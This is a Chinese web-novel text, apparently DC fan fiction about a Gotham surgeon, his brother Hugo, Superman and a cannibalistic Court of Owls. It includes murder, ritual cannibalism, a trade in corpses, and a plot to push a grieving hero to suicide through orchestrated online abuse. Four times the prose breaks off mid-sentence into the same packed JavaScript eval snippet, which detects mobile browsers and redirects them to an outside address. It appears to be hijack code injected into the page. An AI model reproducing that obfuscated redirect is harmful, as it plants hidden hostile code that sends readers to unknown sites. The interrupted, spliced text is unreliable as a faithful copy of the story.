埃德蒙看着手术台上的尸体,这些尸体很新鲜,而且不是流浪汉的,其中一个死于自杀,一个死于交通事故,一个死于他杀。这就是人类,在这个世界上的人类随时都有可能死去,然后他们的尸体被家人带走,放进坟墓。坟墓也需要缴纳土地税,当然这份税负并不算重,因此也有人在高尔夫球场里埋一具尸体,说这是坟场,以此避税。 但更多的尸体会被直接火化,会被丢弃,会被贩卖,会被收藏……有尊严的活着本就不易,更困难的是有尊严的死去。死者在月下爬行,即便如此也无法爬行到天堂。据说富人上天堂比起骆驼钻过针眼更加困难,而穷人甚至连一个针眼都没有,也一辈子都没见过骆驼。埃德蒙不想显得嫉世愤俗,因为这一切都没有意义,他什么都不能改变。 甚至于,难道蝙蝠侠就能改变什么吗?哥谭依旧是犯罪之都,而绝大部分人犯罪也只是为了弄到一点吃的。穷人偷窃穷人,穷人抢劫穷人,他们甚至不知道钻石区的门开在哪里。 然后埃德蒙洗干净了自己的双手,他给自己喷上了香水,他像个体面人一样走出了实验室,路上遇到的医学生正拿着一个头骨把玩。婴儿的头骨骨缝是应当并未愈合的,但这个很明显不是,它长得畸形,又因为生产的挤压显得格外古怪。那个学生对他身边的另一个人说自己的老师抢到了这个样本,来的时候那个婴儿哭得像是《求生之路》里面的which。 哥谭的天色依旧阴霾,在重重压下的天空之中飞翔着乌鸦。 埃德蒙坐上车,司机打开了广播,在广播里传来昂扬的声音——清洁剂,能洗干净瓜果蔬菜上残留的一切农药;你需要圣诞树吗,提早订购享受优惠;每个女孩都要给自己的娃娃准备新的首饰,因为你值得;爱丽丝掉进了兔子洞,圣哉万王之王……无数的电波交汇在一起,一遍一遍传达着的东西只有一个,这是最好的时代。 然而再往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048809|194776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更远的地方看,可以看到烂尾楼,开发商和他的全家死于枪击,墙上画着不知属于哪个帮派的符号。现在那栋楼上竖着同样不知道属于谁的旗帜,旗帜已经很旧了,在风中似乎随时可能碎裂。旗帜下面拴着一只鞋,或许鞋子里面还有脚,前几天这里的帮派进行了一场巷战,因为有人跨越了界限,抢走了一根还能用的针头。 而更远处是韦恩大厦,哥谭最高的建筑物,即使在白天,霓虹灯和LED屏幕的光也依然照耀着四方。天空中飞行着广告空艇,轰炸一般的传来了现在流行的东西的消息。你需要不断奔跑,然后才能保持停留在原地,狼群会先吃掉队的小猪,呼呼,呼呼的吹倒你的稻草屋和木屋,砖头屋要加税。 向着另一个方向可以看到码头,并不是所有码头都进行了全机械化的改造,因为码头工人需要生计——一部分码头工人。加入工会的工人总有活干,只要你交足了会费。为了保住自己的工作,你就得为了公会去撕咬那些没有加入工会的人,工作只有那么一点,钱只有那么一点。不过幸运的是工会的身份也依靠血缘传播,工会会员的孩子也是会员。 更远的地方是什么?在海的中心又是什么? 在海的中心是岛屿,在那里阳光普照,在那里从未存在救赎。 汽车驶过大桥,上层的桥面通行着汽车,下层的桥面僵卧着流浪汉,一个体面人,只要他运气好,不随便去一些不体面的地方,他或许一辈子都不会真的见到流浪汉。他只会知道自己的某个同事突然被辞退,然后他就从此销声匿迹,亦或者对门某一天换了新的住客,他们给小区里的每个人准备了饼干。 克拉克并没有在家里等埃德蒙,埃德蒙也觉得没什么,他又洗了个澡,看着镜子里的自己。仅从审美的角度上来说,埃德蒙对自己的容貌还是自信的,但这也不算什么,他见过更好看的人,他们的皮肤还被收藏在他姐姐的小金库里,和他姐夫的全身血管标本一起。 然后埃德蒙坐在沙发上,打开了电视,从电视里传来各种声音,让整个寂静的房子变得喧闹起来。埃德蒙听说哥谭又鬼魂,但从来没有哪个鬼魂找上过他,不过想来也是,鬼魂找不到这里,鬼魂甚至不知道这里还有一个小区,鬼魂甚至不知道自己是不该这么死的。在电视里播放着闯关游戏,再过一关奖金增加1000美元,没闯过这关之前的奖池全部清空。 埃德蒙翻开了自己的记事本,上面写着四个嫌疑人的名字。 科洛莫,哥谭总医院的外科医生,有精神分裂和被害妄想的症状,正在服药,父母双亡。 安东尼,圣玛利亚仁爱医院的外科医生,妻子因车祸死后有躁郁倾向,不肯服药,父母双亡。 德雷克,帮派医生,狂躁症,不知道是否服药,父母双亡。 道格拉斯,帮派医生,MAP,狂躁症,不知道是否服药,父母双亡。 孤儿是哥谭的特产。 16.雨果·莫蒂默 事实上,克拉克并没有一下班就赶到哥谭去找埃德蒙,并不是因为他今天没有性质,或者说恰恰相反,他恨不得再钻到埃德蒙的裤子里去,两人一起做点快乐的事情。然而正义联盟的工作拖慢了他的脚步,他看着手机里的通讯软件的跳动,没忍住还是发出了不快的叹息声。 他得去保护世界,这是他成为超人的理由,但是不管是超级反派还是外星人,这群混蛋能不能不要在他兴致勃勃的时候来打扰他呢?他没有立刻飞出去,反正这次集合算不上紧急,埃德蒙安排的司机先把他送回了公寓,他再换好超人的制服,以近光速飞出了公寓,飞向存在于宇宙之中的瞭望塔。许多人都已经在那里了,克拉克,超人对着他们点头,然后说:“所以?出什么事了?” 钢骨敲击着键盘,调出了前不久瞭望塔的监控卫星拍摄到的场景,一颗不知来自何处的陨石飞入了地球轨道,运气很好的没有撞上任何一颗人造卫星,而是进入了大气层。在确定这颗陨石上没有什么外星病毒的残留,大小也不会造成什么严重的破坏之后,正义联盟放任了这颗陨石坠落在地球之上。它大约落在了加拿大北部,目前还没有被任何科研机构发现。 “怎么了?”超人的手撑在电脑桌上,看着屏幕里的图像,当时他在忙着和莱克斯·卢瑟制造的杀人机器人(好像叫什么超人毁灭者MK2吧)对打,并没有参与对陨石的检测,但正义联盟本身对这一切都有了非常熟练的应对措施,也不需要超人时时刻刻在场。在陨石落地之后没有引起什么骚动,这件事也就过去了……但是现在看来,一切都没有那么简单。 或许是因为感觉单纯的语言很难更好地回答超人的这个问题,钢骨又敲击着键盘,调出了守林人在加拿大北部的森林拍到的场景:“考虑到现在是冬天,这件事最开始发生的时候并没有被发现,现在事情恐怕已经蔓延开来了……”在并不算清晰的影像之中,播放着两只雄性公鹿的争斗,然而简直像是什么恐怖片里的场景一般,一只公鹿只有半颗头,还有一只公鹿的腹腔已经被完全掏空了。 正常来说,就算是生命力顽强的动物,在变成这个样子的时候也该死了,但它们依旧活着,甚至还会在镜头中凶猛地搏斗,看起来甚至有点恶心。超人皱了皱眉,然后问:“加拿大自己的超级英雄呢?他们不能调查吗?” “是加拿大的超级英雄向我们求救的,”蝙蝠侠说,“他们是一对兄弟,在对森林进行例行检查之后,弟弟发现哥哥突然变得好斗且感觉不到疼痛,为了防止哥哥做出什么危险的事情,弟弟暂时将哥哥囚禁在了地下室,结果是他的哥哥因为意外死在了地下室,然而也像是这些鹿一样,他哪怕确定死亡,也依然能够继续活动。” “我明白了,”超人回答,“认为和那颗陨石有关?无法检测的外星病毒残留?” “是的,一段时间之内能对这片森林造成影响的未知物应该就是这颗陨石。”蝙蝠侠点了点头,其实更合适的调查员是绿灯侠,绿灯能够形成隔绝一切病毒的屏障,更能保护自己的安全。不过超人几乎是全能的,在黄太阳光下,也没有什么病毒能对他造成影响。不过他还是提醒了超人:“千万要小心,另外,回来之后进行全身消毒,不要急着和人类接触。” 超人看了蝙蝠侠一眼,然后笑了一声:“放心吧,我有分寸,B。验尸和火化的工作结束了吗?如果没有的话,我可以推荐一个专业人士。” 蝙蝠侠把头转向屏幕,在屏幕里依然播放着那些失控的鹿疯狂乱撞的画面,于是他忍不住叹息:“我说过了,并且也表示愿意承担运输尸体和后续安葬的费用,那位先生还在考虑。不过他明白正确的做法,不会让尸体随意流出的。当然,我会尝试监控加拿大的尸体市场。” “你我都不能保证意外不会发生,但是,好吧,”超人回答,“等到了加拿大,我也会注意的。” 说完这句话之后,超人还是忍不住偷偷叹了口气,好吧,还是世界的安全比较重要,与之相比,他个人的享受是多么的不值一提啊。谁能注意到这里有个想回去激烈地睡觉,甚至想得有点头晕眼花的超人呢?他在心里蠕动了好一会儿,然后向着加拿大的方向起飞。只是在他的心中依旧不可避免的留存着某种名为担忧的情绪。 这件事恐怕没那么容易结束,超人想,他拿出手机告诉埃德蒙,今天他就先不回哥谭吃饭了。 埃德蒙对克拉克的信息一直都是秒回,克拉克无奈地想,可惜他就不能做到时时刻刻紧盯着埃德蒙,这还是比较遗憾的。不过也行,他决定到时候多发点照片过去,看了照片之后埃德蒙的心情应该会好点。这么想着,他又加快了赶路的速度,早点调查完早点排除隐患,然后早点回家比什么都好。 埃德蒙把手机放好,他又给猫添上了猫粮,他不知道猫现在在哪个房间,也不知道猫在做什么,事实上他能确定的只有家里有只猫。这只猫曾经属于怀特家族,那是建设了猫头鹰法庭的家族之一,他们家的孩子曾经非常宠爱这只猫咪,到了它有心脏病,就会考虑给它换一个健康的心脏的地步。 他们挑选的器官供体是另一只宠物猫,它的主人带着它去宠物医院治疗,于是被配型,确定了健康。主人不答应把那只猫转让,于是某天主人家里遭遇了抢劫杀人,整个小区的房价应声下跌,因此房产税增加,小区被视为不良资产,那些小区里的住户也是。稍微有些余力的人搬去别的地方,但更多的人因此失业或者降低工资,最后到了埃德蒙的手术台上。 埃德蒙是给两只猫做心脏移植手术的人,因为他是个整个哥谭数一数二的外科手术医生,哪怕不是兽医。一只猫死了,一只猫活下去,结果死的猫因为被重视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051809|194776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同时带走了它的注入,活下去的那只猫却被遗弃了——手术的时候必须剃掉大部分的毛发,而这会让猫咪看起来非常可笑,不像是个合格的宠物。埃德蒙带走了那只猫,那只猫很害怕埃德蒙,认为埃德蒙是切开它的罪魁祸首。 但这只猫是宠物猫,丢出房门就会死,埃德蒙只能把它留在家里。猫咪从未给过埃德蒙任何回应,只有减少的食水,偶尔掉落在地面或者床上的毛发,地板和沙发上的爪印代表猫尚且存在于此。 埃德蒙上楼,回到卧室,衣柜里有着各种属于克拉克的东西,他几乎可以闻到克拉克身上的气味依旧在房间里留存……有些像是橡木桶,长期酿造红酒,被那种甜香完全浸透,本身又带着树木的清新和沉重。克拉克不用除臭剂,只有去参加宴会才会喷一些香水,但这就让克拉克本身的气味更加香醇。他抓住克拉克常穿的睡衣凑在鼻尖,似乎这样可以把他的理性拉扯回来。 猫的血和人的血混杂在一起,那个小区的每个死人和活人都卖了个好价钱。 然后,埃德蒙的手机也震动了一下,雨果给他发消息,说有一个突发的猫头鹰内部宴会,要求埃德蒙必须跟着与会。埃德蒙站起来,他走下楼,出门,锁门。猫开始在客厅跑酷和吃猫粮,他坐进车里,汽车向着远处驶去,埃德蒙眼中的光一点点变得晦暗下来。雨果让他与会,说明这次宴会其实并不是什么好事,雨果认为在宴会上可能遇到危险…… 当然,也有可能是雨果为了让埃德蒙更加进入圈子,因此才这么做。 雨果·莫蒂默是个危险人物,是个实打实的所谓“贵族”,他在莫蒂默家族出身,从小接受继承人的精英教育,他的家庭教师各个都是有头有脸的人物,他被要求成为莫蒂默家族,这个巨大的帝国未来的皇帝。他没有恶习,大家族的继承人一般都不会被允许染上恶习,他们只要掌握权柄,之后才是享受自己的人生。 甚至不用说是享受,因为当一个人只要伸手就能获得一切之时,没有什么能被算作享受。那只是一种理所当然,就像是鸟儿会飞,鱼儿会游。 莫蒂默庄园的大门需要五个仆人一起用铰链才能打开,因此平时出入其实都用小门,但埃德蒙会来的时候,雨果特意要求开大门迎接他。此时此刻,这位莫蒂默家族真正的掌权人走向埃德蒙,对着他张开双臂,一下把他搂在了怀里。如果仔细去看的话,会发现这对兄弟的容貌上存在不少的相似与不同。 埃德蒙是一个非常英俊的人,否则克拉克也不会一下就在一大堆有钱人的照片里第一眼就看中埃德蒙。他的哥哥缺少埃德蒙那样精致立体的容貌,但在看着雨果的时候,许多人会产生的第一感觉就是敬畏——甚至恐惧。埃德蒙的绿眼睛总是平静之中带着漠然,而雨果的瞳孔很小,看起来就像是针尖一般,带着一种会令人感到刺伤的冷酷。 17.莫蒂默兄弟 名为雨果·莫蒂默的男人,诞生于莫蒂默家族——哥谭最古老的家族之一——当中。 他诞生于自己的家中,一栋别墅为了迎接他的诞生被改造为了私人产房,全美国最好的妇产科医生在他的家中待命。数个身份干净,并未沾染恶习,且血型合适的白人高学历女性被豢养在别墅的另一个房间,随时准备应对可能的生产状况。当然,幸运的是雨果的诞生非常顺利,他和他的母亲都因为完美的准备获得了平安。 整个教区最德隆望尊的主教也在他的产房外待命,他是被用私人飞机接过来的,还有一整支唱诗班和莫蒂默家族的私人牧师。他的脐带血被好好保存,以防他未来可能遇上什么疾病。他在祝福当中发出第一声哭泣,然后被乳母抱在怀里。人们用能想到的一切赞美的词语赞美他,赞美这个伟大家族的继承人。 他的母亲艾玛·弗兰克·莫蒂默去休息了,接下来她不需要亲手照顾自己的孩子。生产造成的伤害并非不能恢复,只是需要格外的小心,而除此之外,在这些古老的家族中总是流传着一些特殊的恢复手段。肾上腺素红是一种,还有其他的提取液。她很快就能恢复健康,出现在宴会上,微笑着作为有过生育经验的女性的典范,说生育并不痛苦。 在尚且幼小的时候,雨果也曾经被自己的父亲,安德烈·莫蒂默抱在膝上。安德烈宠溺着自己的长子,以父亲的方式,他会抽出时间带着雨果巡视领地,告诉雨果一切都将会由他继承。有时候安德烈甚至会趴在地上,让雨果骑在他的身上,就像是一匹驮马。艾玛会微笑着拍下他们的照片,也会给雨果讲睡前故事,甚至艾玛还给雨果亲手织了一条围巾。 而他之后诞生的兄弟姐妹们无法得到这一项殊荣,这是肯定的。在他之后诞生的是他的弟弟奥利弗,但家里对奥利弗的期待只有一个——别给雨果捣乱。雨果知道自己凌驾于自己的其他兄弟姐妹之上,自己是优越的,自己优于一切,因此他反而不会去注意他的兄弟姐妹。一切荣耀归于长子,那些兄弟姐妹只是单纯活着的生物。 雨果的生活便这样一路顺遂,仿佛世界上真的存在一个神明,而神明确实会为他赐福。直到他二十多岁的时候,染上了赌瘾的奥利弗为了偿还赌债,将家里的收藏偷出去转买。作为兄长与长子的雨果发现了这一点,于是把奥利弗捆在树上鞭打了两个小时。在那之后,奥利弗的心中染上了仇恨,他开车撞死了自己的长嫂,长嫂腹中的,雨果的长子在出生之后没多久一起夭折。 于是雨果杀死了奥利弗,他几乎崩溃,这个时候他的母亲艾玛又检测出了怀孕。他将这件事视为神启,他认为母亲的孩子埃德蒙是他的长子的灵魂依附,他将不久之后诞生的埃德蒙视为自己的长子抚养。或许雨果这么做非常偏执,但埃德蒙确实将他从彻底疯狂的边缘拉了回来,让他还能继续作为莫蒂默家族的继承人存在。 然而继承人和家主之间又必然存在着各种各样的矛盾,新旧权力之间的交接从来都不是温情脉脉的——尤其是在权力本身代表血腥的时候。 雨果的性格稳重,不喜欢行险,任何事情在没有绝对的把握之时不喜欢动手,而安德烈较为激进,认为只要抓住机会,一切都能手到擒来。父子之间的关系随着雨果的年岁渐长而逐渐恶化,安德烈认为雨果要夺取他的权力,雨果认为安德烈会给自己未来的统治留下阴影。 但这一切都不是最重要的,最重要的是,人为什么需要一个继承人。人需要有继承人,是因为人的生命有限,不能一直延续,而继承人的作用是在自己无力支撑的时候代为支撑,延续自己的精神和意志,防止自己努力建设的一切成为梦幻泡影。于是一个悖论就此展现,那就是,假如说我可以永生,那我为什么还需要一个继承人呢? 长子作为继承人,是因为长子与父亲相处的时间最长,最理解父亲的作风,也最适合作为父亲意志的延续。然而同时,在宗教方面,长子又是最好的祭品,上帝选择让亚伯拉罕献祭自己的长子以撒以考验亚伯拉罕的忠诚,上帝惩罚埃及人便是降灾杀死他们的长子,其中长子承担的依然是代替父亲的职责,献出其生命来考验或惩罚父亲。 而如果父亲想要永生,便理所当然的应该献祭长子。 安德烈准备好了献祭的仪式,然而仪式被埃德蒙发现了,那时候的埃德蒙只有十八岁。他一直都是一个沉默寡言,在家里没有什么存在感的孩子,安德烈见到他的时候他几乎都在读书,哪怕用监控设备观察他,他也在读书。他的家庭教师在他十岁的时候教完了他大学以前的所有课程,然后大学教授以函授的方式给他授课。十八岁的时候埃德蒙已经是生物学博士,正在攻读医学…… 有时候安德烈会觉得埃德蒙是家里最疯的那个,毕竟这个世界上哪个孩子会真的喜欢学习那些无聊的知识,完全对娱乐没有兴趣呢? 但埃德蒙和家族生意毫无关系,和家族斗争毫无关系,和家族当中的暗流涌动毫无关系,他只是和雨果点头,偶尔聊天,大部分时候都把自己关起来学习。安德烈觉得埃德蒙可能有自闭症,或者阿兹伯格,贵族大多有各种疾病,这是“纯血通婚”带给他们的。他没想到埃德蒙会发现仪式,也没想到埃德蒙会告诉雨果,更没想到雨果会相信埃德蒙。 在安德烈看来,自己的布置是万无一失的,他会献祭自己的长子,然后延续生命。他不需要继承人,只要不断活下去,他千秋万代,就不用考虑未来。但埃德蒙并不认为安德烈比雨果要更好,也不认为献祭能够长久,于是他选择了将一切告诉雨果,而雨果非常果断。雨果当然爱他的父亲,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052537|194776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他更爱自己,更看重自己的生命。 于是安德烈死了,协助仪式的艾玛死了,家里剩下的兄弟姐妹,除了远嫁的伊莎贝尔都死了,雨果和埃德蒙掌握了莫蒂默家族。也正因如此,雨果更加器重埃德蒙,他带领埃德蒙参加了新的仪式,这同样是一场献祭,他与埃德蒙分食了安德烈的尸体,并且用自己的血进行了特殊的仪式。从此以后雨果和埃德蒙将会是最亲密的战友和家人,这便是仪式的目的。 不过雨果弑父的事情也引起了其他家族的不满,猫头鹰法庭将之视为应当被裁决的罪恶。商业方面,他们并不能迅速围剿雨果,但他们可以杀死雨果然后瓜分莫蒂默家族的财富。他们派出了自己的手下,不过这些手下几乎都是魔法师和超能力者,或者被训练的利爪,他们在埃德蒙的面前毫无还手之力。 从此以后,雨果便更加重视埃德蒙了,在他的眼里,埃德蒙并不只是弟弟或者“长子”,更是一个曾经救过他,并多次保护了他的人。埃德蒙总是面无表情,对家里的生意也很冷淡,只要不影响他正常生活,几乎所有的事情他都懒得管。但这样或许才是最好的,埃德蒙的冷淡让他有了很好的名声,也让他不至于转而成为雨果的统治的敌人。 与之相比,埃德蒙掏钱养着克拉克根本不算个事,养情人也不算什么大额支出,克拉克自己又是很争气的大记者。雨果对克拉克的观感其实不错,他不是完全依附于埃德蒙的玩具,有自己的想法,但又能对埃德蒙保持忠诚,哪怕依靠埃德蒙的势力登上高位,克拉克也依旧没有传出过什么其他绯闻。 克拉克其实不知道雨果是这么看他的,如果知道了这件事,他说不定还会苦笑。但克拉克只见过雨果两次,一次是跟着埃德蒙参加宴会的时候短暂的和雨果见面,还有一次是受邀对雨果进行专访。但克拉克专访那次埃德蒙也依然陪在他的身边,埃德蒙知道雨果在被多次刺杀之后非常注意安保,也知道雨果有食人的爱好。 或者说不是爱好,只是一种……传统,或者说是一种大家都在这么做的风潮。猫头鹰法庭,或者说整个世界上不少人都有这种传统,有宗教信仰,也有将自己视为更高高在上的存在,将他人视为家畜。你要怎么对一个人表现出绝对的优越感呢?让那个人因为你受苦,让那个人被你完全控制,无论是身体,还是生命。 埃德蒙知道自己的精神也不正常,最坏的时候他甚至咬过克拉克,不过幸好克拉克有点超能力,在他不用金手指抹消掉克拉克的超能力的情况下,他不会让克拉克真的受伤……不过克拉克也不至于硌掉他的牙。克拉克非常包容,即使被咬了好几次都会笑眯眯地抚摸埃德蒙的头发,让他安静下来,让他放松。 埃德蒙不希望雨果杀死克拉克,也不希望克拉克伤害雨果,这种心理并不矛盾。 18.斩杀 那是比起夜色更加死寂和深沉的黑暗。 在绝对无光的深黑之中,打火石相互碰撞的声音回荡开来,一瞬间闪耀着的火星瞬间湮灭,然而它还是终究点燃了属于第一根蜡烛的烛芯。而后,火焰仿佛水流一般向着四面八方不断倾泻流淌,知道汇聚成为伊什塔尔之星的模样。在异教神话中丰饶的金星女神,在此时作为一个混乱的代号存在。 房间并未被全部照亮,然而仅仅凭借火光就可以看到这个房间的广阔,这里会让人想到宫殿,穹顶向着几乎是天际的地方不断延伸。 身披白色绸缎披风,戴着兜帽,以羽毛装饰面具,将自己的容颜完全遮蔽的人们如同影子一般,从房间的各个角落飘荡出来,肃穆地伫立在八芒星的每一个尖角。他们的手里抱持着黄金的大釜,其中盛满了清水。他们以庄严又婀娜的姿势伫立着,仿佛雕像一般,在火焰的映照之下依旧一动不动。 接着,第一声钟声响了起来,在肃穆的,延绵回荡着的钟声之中,只披着几乎透明的轻纱的男男女女戴着空白的面具,他们手持香炉,从层层叠叠的,锦缎制成的厚重帷幕之后转出。他们的脚步犹如芭蕾舞者一般轻盈迅捷,又会令人想到在湿地翩然穿行的鹤。香炉缓缓升腾着烟雾,末药和乳香的气味逐渐扩散开去,然后烟雾随着他们的舞步弥漫在了房间的每一个角落。 而后响起的,毫无疑问是歌声,花腔乐伶以一种高亢的声音颂唱着,他或者她所用的并非是任何一种在人类世界中常用的语言,又或许正因如此,才能令人感到一种神圣的,宛若仙境的飘忽。在烛光之下,在烟雾这种,伊什塔尔之星变得模糊了,甚至就连人的视线也跟着一起模糊而混乱。接着歌声渐缓,烟雾消弭,一切逐渐归于沉寂。 而撕碎这种沉寂的,是小提琴凄厉的颤音。 传说小提琴的琴弦是魔鬼用乐手情妇的肠子制成的,因此在拉动的时候,声音才会这样撕心裂肺。同一瞬间,无数灯光点亮,整个房间终于亮如白昼,而真实也终于变得明晰。 这是一间巨大的厅堂,甚至比起那夜慈善晚会所用的厅堂更为广阔,在房顶的最中央悬垂着五层的吊灯,每一层都有二十多个被做成蜡烛形状的灯泡。吊灯上悬挂着一米长的流苏,它们串联着一个个打磨得有棱有角,却又能令人感到圆润的水晶,这些水晶在光线的照耀下折射出五彩的光。而房间的四周同样有着各式各样的落地灯,黄金的灯架璀璨,令人目眩神迷。 希腊式的穹顶上同样层层叠叠地绘制着各种图案,其中最多的,是在彩色烟云的笼罩下,浑身赤裸的天使。背生双翼的男男女女坦露出充满着肉感与欲望的身躯,画家毫不吝啬于对天使□□的细腻刻画,却又偏偏要用云雾把它们掩盖起来。越是这种遮掩的样子,就越是能让人感到亵渎而糜乱。 在四周的墙壁上同样用着类似的彩绘,只是杂处的从天使变成了人,他们存在于此,身体交叠,色彩鲜艳——颜料中大概掺杂了黄金或者白银的粉末,因此反射着格外明晰的光芒,甚至到了晃眼的程度。地面是黑色的大理石,伊什塔尔之星镌刻在大理石上,火焰依然不断跳跃,火焰并未将大理石撕裂。 更多戴着动物面具的人走进房间里,他们的穿着就更像是绅士和淑女了,无论是端面的形状还是镶钻的鱼尾裙,无论是皮靴还是高跟鞋。他们的面具上有着黄金的条纹,黄金,在这里最经常见到的金属就是黄金,因为黄金存在着各种不同的意义。而在他们的身上似乎飘散着香气,或许是香水,或许是焚香,又或许是所谓的“体香”,香气弥漫在这个宴会厅里。 更远处有一个水池,在水池里游动着各色的鱼儿,地面上铺满珍珠、砗磲、玛瑙和宝石,扮作美人鱼的人在水里等待着客人的光临。而现在客人们汇聚在房间里,他们踩踏着大理石的地面,鞋子敲击着留下些微的脚印。女士们先生们从来不会踏足沾有灰尘的地面,有人跪在地上擦去他们的脚印,用丝绸,用最细腻的皮革——最细腻的。 穿着得体的,同样带着面具的侍者穿梭在人群中,摇曳的鸡尾酒杯中静静躺着被冰镇过的宝石。不知何时出现的餐桌上也摆放着也在菜肴,它们只有很少的一部分会有进入客人尊贵的嘴巴的机会,大部分都会被丢弃到哥谭的下水道里。大家谈笑着,说着最近发生的趣事,也说着无聊的天气,他们嘲笑着那些被超人和联邦警察带走的人。 被客人抱在怀里的卷毛小狗似乎也厌倦了餐桌上的食物——过于肥腻的乳猪,干柴一般的火鸡,生鱼,味道古怪的松露,带着腥膻的羔羊……不过事实也是,这些东西没什么稀奇的。不需要捕猎的小猎犬的毛被梳洗得油光水滑,在温柔的抚摸之下发出撒娇的呜呜声。 接着,不紧不慢的脚步声响起,还伴随着手杖敲击地面的声音,即使是尊贵的客人们也在瞬间噤声,正向着人群的中心走来的是两个男人。在前方的年岁较长,鬓角花白,戴着猫头鹰的面具,他穿着一身如夜色一般深黑的西装。镶嵌着硕大黄色宝石的手杖每一次落在地面上,都像是能够拨动人们的心跳。 而在他身后的人更为高挑纤细,步态也更为年轻。那人穿着水蓝色的长款风衣和米白色的毛衣,胸口佩戴着金色玫瑰的胸针,穿着长筒马靴,戴着另一种猫头鹰的面具。此时此刻,这个青年正以同样庄严的脚步跟在那个年长的男性的身后,两人在所有人的注目之下走进了宴会厅,向着足以俯瞰整个宴会厅的高台走去。 雨果,和埃德蒙走进了宴会厅。 这里是猫头鹰法庭内部会议的厅堂,也是真正的奢靡宴会的所在,它并不在某一层建筑物的中间,因为那里容纳不下这么广阔的厅堂,事实上,它在哥谭的地下。哥谭的地下,这是个神奇的地方,猫头鹰法庭掏空了一座小山用于享乐,而流浪汉在下水道化为尸体或者食物。 埃德蒙跟着雨果走向了会议用的椅子,雨果坐在第二把椅子上,埃德蒙坐在第三把椅子上,其实这个椅子坐起来并不舒服,和家里的沙发差远了,更别说埃德蒙坐得最舒服的地方是克拉克的大腿。但这把椅子是从英国搬来的,似乎是莫蒂默家族还没来到美国,有个什么爵位的时候用的,因此这把坐起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054954|194776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不舒服的椅子代表了权力和权威。 在猫头鹰法庭的内部也有着森严的等级,莫蒂默家族的等级是法庭之主以下的第一家族,事实上,如果不是因为那个神秘的法庭之主本身存在着某些隐秘,或许莫蒂默家族真的会成为猫头鹰法庭的主人。不过这些离埃德蒙太远,都是题外话了,埃德蒙只是来陪雨果开会的,顺便作为威慑,和重要的继承人,和雨果的资产。 埃德蒙可以感觉到看着自己的视线带着一种近乎诡异的敬畏,他知道这是为什么。还是那句话,猫头鹰法庭的所有人都在依仗超能力,而埃德蒙能让他们的超能力全部失效。 然后,雨果宣布了猫头鹰法庭此次议事的开始——这一次的议事有些突然,雨果只知道一部分,他没有和埃德蒙说起,埃德蒙也就只能在一边安静聆听。一个戴着面具的人——虽然这里的绝大部分人都戴着面具——说这件事关乎加拿大的超级英雄,他们是一对兄弟,双胞胎,要两人一起才能发挥出最大的实力,而哥哥意外身故了。 弟弟不肯出售哥哥的尸体,打算自己处理之后安葬,但被盯上的也不只是哥哥的尸体。超能力者的尸体在市场上能卖出超乎想象的高价,曾经当过超级英雄的人更甚,只是美国的超级英雄有正义联盟的协助,大多数哪怕死了尸体也不会流入市场,所以一般要去外国购买,但外国没什么超级英雄。 “但是超人不久前接触过了那家伙,”另一个人说,他们大概是一个家族的,“说明正义联盟已经注意到了他们,寻常的方式或许很难派上用场。” 寻常的方式,指直接杀掉,或者想方设法让那家伙的经济状况崩溃,这样也可以让人死得不明不白。但既然正义联盟注意到了他们,直接杀掉不可取,他们必须想点其他的办法。 埃德蒙坐在雨果的身边,听着他们策划要怎么杀死一个刚死了人生中最重要的人的超级英雄,然后把他们兄弟的尸体摆上实验台或者餐桌。 “精神崩溃之后自杀,就算是正义联盟也不会干涉这种情况吧?”然后另一个人提出了可能性,“诱导他用致幻剂,反正在加拿大很方便。” “这样会影响到他的肉质,”还有一个人说,他似乎还想说蠢货,但忍住了,“不过让人精神崩溃也不难,毕竟他是超级英雄,总是要在意别人的评价的。暂时改变他能接触到的信号。社交媒体上能看到的只有谩骂,电视台里播出对他的质疑,找几个脱口秀演员把他哥哥的死编成段子,等他用暴力就说他英雄失格,过一段时间他就会自己疯了。” 这段话引起了一阵阵愉快的轻笑,他们很熟悉这套流程,可惜这对蝙蝠侠没用,因为他们没找到蝙蝠侠的社交账号。 